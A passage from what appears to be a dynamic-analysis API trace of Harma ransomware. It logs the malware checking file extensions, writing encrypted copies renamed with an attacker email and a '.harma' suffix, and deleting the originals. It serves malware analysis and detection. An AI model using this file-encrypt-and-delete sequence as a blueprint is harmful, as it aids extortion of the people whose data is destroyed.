(lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0151.287] lstrlenW (lpString=".doc") returned 4 [0151.287] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.287] lstrlenW (lpString=".docx") returned 5 [0151.287] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.287] lstrlenW (lpString=".pdf") returned 4 [0151.287] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.287] lstrlenW (lpString=".xls") returned 4 [0151.287] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.287] lstrlenW (lpString=".xlsx") returned 5 [0151.287] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.287] lstrlenW (lpString=".ppt") returned 4 [0151.287] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.287] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0151.287] lstrlenW (lpString=".zip") returned 4 [0151.287] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.287] lstrlenW (lpString=".rar") returned 4 [0151.287] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.287] lstrlenW (lpString=".bz2") returned 4 [0151.287] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.288] lstrlenW (lpString=".7z") returned 3 [0151.288] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0151.288] lstrlenW (lpString=".dbf") returned 4 [0151.288] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0151.288] lstrlenW (lpString=".1cd") returned 4 [0151.288] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0151.288] lstrlenW (lpString=".jpg") returned 4 [0151.288] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0151.288] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0151.288] lstrlenW (lpString=".doc") returned 4 [0151.288] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.288] lstrlenW (lpString=".docx") returned 5 [0151.288] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.288] lstrlenW (lpString=".pdf") returned 4 [0151.288] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.288] lstrlenW (lpString=".xls") returned 4 [0151.288] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.288] lstrlenW (lpString=".xlsx") returned 5 [0151.288] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.288] lstrlenW (lpString=".ppt") returned 4 [0151.289] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0151.289] lstrlenW (lpString=".zip") returned 4 [0151.289] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.289] lstrlenW (lpString=".rar") returned 4 [0151.289] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.289] lstrlenW (lpString=".bz2") returned 4 [0151.289] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.289] lstrlenW (lpString=".7z") returned 3 [0151.289] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0151.289] lstrlenW (lpString=".dbf") returned 4 [0151.289] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0151.289] lstrlenW (lpString=".1cd") returned 4 [0151.289] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.289] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01172_.WMF") returned 63 [0151.289] lstrlenW (lpString=".jpg") returned 4 [0151.289] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.289] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0151.289] lstrlenW (lpString="DD01180_.WMF") returned 12 [0151.289] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0151.290] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=2084) returned 1 [0151.290] CloseHandle (hObject=0x370) returned 1 [0151.290] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf")) returned 0x20 [0151.290] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0151.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0151.290] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.290] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0151.291] GetLastError () returned 0x0 [0151.291] ReadFile (in: hFile=0x370, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x824, lpOverlapped=0x0) returned 1 [0151.308] WriteFile (in: hFile=0x328, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x830, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x830, lpOverlapped=0x0) returned 1 [0151.321] ReadFile (in: hFile=0x370, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0151.321] WriteFile (in: hFile=0x328, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0151.321] SetEndOfFile (hFile=0x328) returned 1 [0151.332] CloseHandle (hObject=0x328) returned 1 [0151.332] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.332] SetEndOfFile (hFile=0x370) returned 1 [0151.334] CloseHandle (hObject=0x370) returned 1 [0151.335] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0151.623] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01180_.wmf")) returned 1 [0151.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0151.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0151.624] lstrlenW (lpString=".doc") returned 4 [0151.624] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.624] lstrlenW (lpString=".docx") returned 5 [0151.624] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.624] lstrlenW (lpString=".pdf") returned 4 [0151.624] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.624] lstrlenW (lpString=".xls") returned 4 [0151.624] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.624] lstrlenW (lpString=".xlsx") returned 5 [0151.624] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.624] lstrlenW (lpString=".ppt") returned 4 [0151.625] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0151.625] lstrlenW (lpString=".zip") returned 4 [0151.625] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.625] lstrlenW (lpString=".rar") returned 4 [0151.625] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.625] lstrlenW (lpString=".bz2") returned 4 [0151.625] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.625] lstrlenW (lpString=".7z") returned 3 [0151.625] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0151.625] lstrlenW (lpString=".dbf") returned 4 [0151.625] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0151.625] lstrlenW (lpString=".1cd") returned 4 [0151.625] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0151.625] lstrlenW (lpString=".jpg") returned 4 [0151.625] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0151.625] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0151.625] lstrlenW (lpString=".doc") returned 4 [0151.625] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.625] lstrlenW (lpString=".docx") returned 5 [0151.625] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.625] lstrlenW (lpString=".pdf") returned 4 [0151.625] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.625] lstrlenW (lpString=".xls") returned 4 [0151.625] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.626] lstrlenW (lpString=".xlsx") returned 5 [0151.626] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.626] lstrlenW (lpString=".ppt") returned 4 [0151.626] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0151.626] lstrlenW (lpString=".zip") returned 4 [0151.626] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.626] lstrlenW (lpString=".rar") returned 4 [0151.626] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.626] lstrlenW (lpString=".bz2") returned 4 [0151.626] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.626] lstrlenW (lpString=".7z") returned 3 [0151.626] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0151.626] lstrlenW (lpString=".dbf") returned 4 [0151.626] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0151.626] lstrlenW (lpString=".1cd") returned 4 [0151.626] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.626] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01180_.WMF") returned 63 [0151.626] lstrlenW (lpString=".jpg") returned 4 [0151.626] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.626] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0151.626] lstrlenW (lpString="DD01181_.WMF") returned 12 [0151.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0151.656] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=1448) returned 1 [0151.656] CloseHandle (hObject=0x37c) returned 1 [0151.656] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf")) returned 0x20 [0151.656] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0151.656] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0151.657] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.657] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0151.657] GetLastError () returned 0x0 [0151.657] ReadFile (in: hFile=0x37c, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x5a8, lpOverlapped=0x0) returned 1 [0151.659] WriteFile (in: hFile=0x374, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0151.660] ReadFile (in: hFile=0x37c, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0151.660] WriteFile (in: hFile=0x374, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0151.660] SetEndOfFile (hFile=0x374) returned 1 [0151.660] CloseHandle (hObject=0x374) returned 1 [0151.660] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.660] SetEndOfFile (hFile=0x37c) returned 1 [0151.663] CloseHandle (hObject=0x37c) returned 1 [0151.663] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0151.663] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01181_.wmf")) returned 1 [0151.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0151.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0151.664] lstrlenW (lpString=".doc") returned 4 [0151.664] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.664] lstrlenW (lpString=".docx") returned 5 [0151.664] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.664] lstrlenW (lpString=".pdf") returned 4 [0151.664] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.664] lstrlenW (lpString=".xls") returned 4 [0151.664] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.664] lstrlenW (lpString=".xlsx") returned 5 [0151.664] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.664] lstrlenW (lpString=".ppt") returned 4 [0151.664] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0151.664] lstrlenW (lpString=".zip") returned 4 [0151.664] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.664] lstrlenW (lpString=".rar") returned 4 [0151.664] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.664] lstrlenW (lpString=".bz2") returned 4 [0151.664] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.664] lstrlenW (lpString=".7z") returned 3 [0151.664] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0151.664] lstrlenW (lpString=".dbf") returned 4 [0151.664] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0151.664] lstrlenW (lpString=".1cd") returned 4 [0151.664] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0151.665] lstrlenW (lpString=".jpg") returned 4 [0151.665] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0151.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0151.665] lstrlenW (lpString=".doc") returned 4 [0151.665] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.665] lstrlenW (lpString=".docx") returned 5 [0151.665] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.665] lstrlenW (lpString=".pdf") returned 4 [0151.665] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.665] lstrlenW (lpString=".xls") returned 4 [0151.665] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.665] lstrlenW (lpString=".xlsx") returned 5 [0151.665] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.665] lstrlenW (lpString=".ppt") returned 4 [0151.665] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0151.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0151.665] lstrlenW (lpString=".zip") returned 4 [0151.665] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0151.665] lstrlenW (lpString=".rar") returned 4 [0151.665] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0151.665] lstrlenW (lpString=".bz2") returned 4 [0151.665] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0151.665] lstrlenW (lpString=".7z") returned 3 [0151.665] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0151.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0151.665] lstrlenW (lpString=".dbf") returned 4 [0151.665] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0151.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0151.666] lstrlenW (lpString=".1cd") returned 4 [0151.666] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0151.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01181_.WMF") returned 63 [0151.666] lstrlenW (lpString=".jpg") returned 4 [0151.666] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0151.666] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0151.666] lstrlenW (lpString="DD01186_.WMF") returned 12 [0151.666] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0151.666] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2c3ff1c | out: lpFileSize=0x2c3ff1c*=8564) returned 1 [0151.666] CloseHandle (hObject=0x37c) returned 1 [0151.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf")) returned 0x20 [0151.667] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0151.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0151.667] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.667] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0151.668] GetLastError () returned 0x0 [0151.668] ReadFile (in: hFile=0x37c, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x2174, lpOverlapped=0x0) returned 1 [0151.694] WriteFile (in: hFile=0x374, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0x2180, lpOverlapped=0x0) returned 1 [0151.695] ReadFile (in: hFile=0x37c, lpBuffer=0x3780020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesRead=0x2c3fed4*=0x0, lpOverlapped=0x0) returned 1 [0151.695] WriteFile (in: hFile=0x374, lpBuffer=0x3780020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3780020*, lpNumberOfBytesWritten=0x2c3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0151.695] SetEndOfFile (hFile=0x374) returned 1 [0151.695] CloseHandle (hObject=0x374) returned 1 [0151.695] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c3fec8 | out: lpNewFilePointer=0x0) returned 1 [0151.695] SetEndOfFile (hFile=0x37c) returned 1 [0151.697] CloseHandle (hObject=0x37c) returned 1 [0151.698] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0151.712] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01186_.wmf")) returned 1 [0151.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0151.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 63 [0151.713] lstrlenW (lpString=".doc") returned 4 [0151.713] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0151.713] lstrlenW (lpString=".docx") returned 5 [0151.713] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0151.713] lstrlenW (lpString=".pdf") returned 4 [0151.713] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0151.713] lstrlenW (lpString=".xls") returned 4 [0151.713] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0151.713] lstrlenW (lpString=".xlsx") returned 5 [0151.713] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0151.713] lstrlenW (lpString=".ppt") returned 4 [0151.713] lstrcmpiW 